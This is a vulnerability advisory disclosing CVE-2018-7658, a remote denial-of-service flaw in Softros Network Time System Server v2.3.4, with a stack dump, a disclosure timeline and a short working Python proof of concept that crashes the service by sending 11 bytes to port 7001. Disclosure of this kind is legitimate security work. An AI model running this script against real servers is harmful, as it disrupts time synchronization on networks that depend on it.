[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SOFTROS-NETWORK-TIME-SYSTEM-SERVER-v2.3.4-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security          
 

Vendor:
=============
www.softros.com
https://nts.softros.com/downloads/


Product:
===========
Network Time System Server v2.3.4 
Both x86/x64 versions


Network Time System provides a solution to system time maintenance problems. This powerful client/server software enables you to set up a
virtually fail-safe synchronized time environment for networks of any size and complexity, from small office networks (LAN) to those
maintained at large enterprises (VPN, VLAN, WAN), from single site networks to those including numerous domains and involving complex
routing techniques. Network Time System allows the creation of a custom source of precise time in a corporate network environment
establishing an interconnected time synchronization system for each and every machine and device on the company network.


Vulnerability Type:
===================
Denial Of Service



CVE Reference:
==============
CVE-2018-7658


Security Issue:
================
Network Time System (Server) "NTSServerSvc" service listens on Port 7001, unauthenticated remote attackers can crash the
Server by sending exactly 11 bytes to the target system. Systems which may depend on critical time synchronization 
could then potentially be impacted.


Stack dump:

'''
eax=0320119a ebx=0000000b ecx=000000ff edx=00000000 esi=03167040 edi=0050b328
eip=004069a5 esp=0447fee8 ebp=0447ff28 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010297
NTSServerSvc+0x69a5:
004069a5 880a            mov     byte ptr [edx],cl          ds:0023:00000000=??
Resetting default scope

FAULTING_IP: 
NTSServerSvc+69a5
004069a5 880a            mov     byte ptr [edx],cl

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 004069a5 (NTSServerSvc+0x000069a5)
   ExceptionCode: c0000005 (Access violation)

'''


Exploit/POC:
=============
import socket
#Network Time System (Server) NTSServerSvc.exe v2.3.4 
#Softros Systems
#NTS Server service for time synchronization over network

print 'Network Time Server 11 byte Denial Of Service'
print 'by hyp3rlinx'
HOST=raw_input('Network Time Server IP')
PORT=7001
payload='A'*11 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send(payload)
s.close()



Network Access:
===============
Remote


Severity:
=========
Medium


Disclosure Timeline:
=============================
Vendor Notification: February 10, 2018
Second attempt : February 24, 2018 
Request CVE, assigned by Mitre : March 3, 2018
March 5, 2018: Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx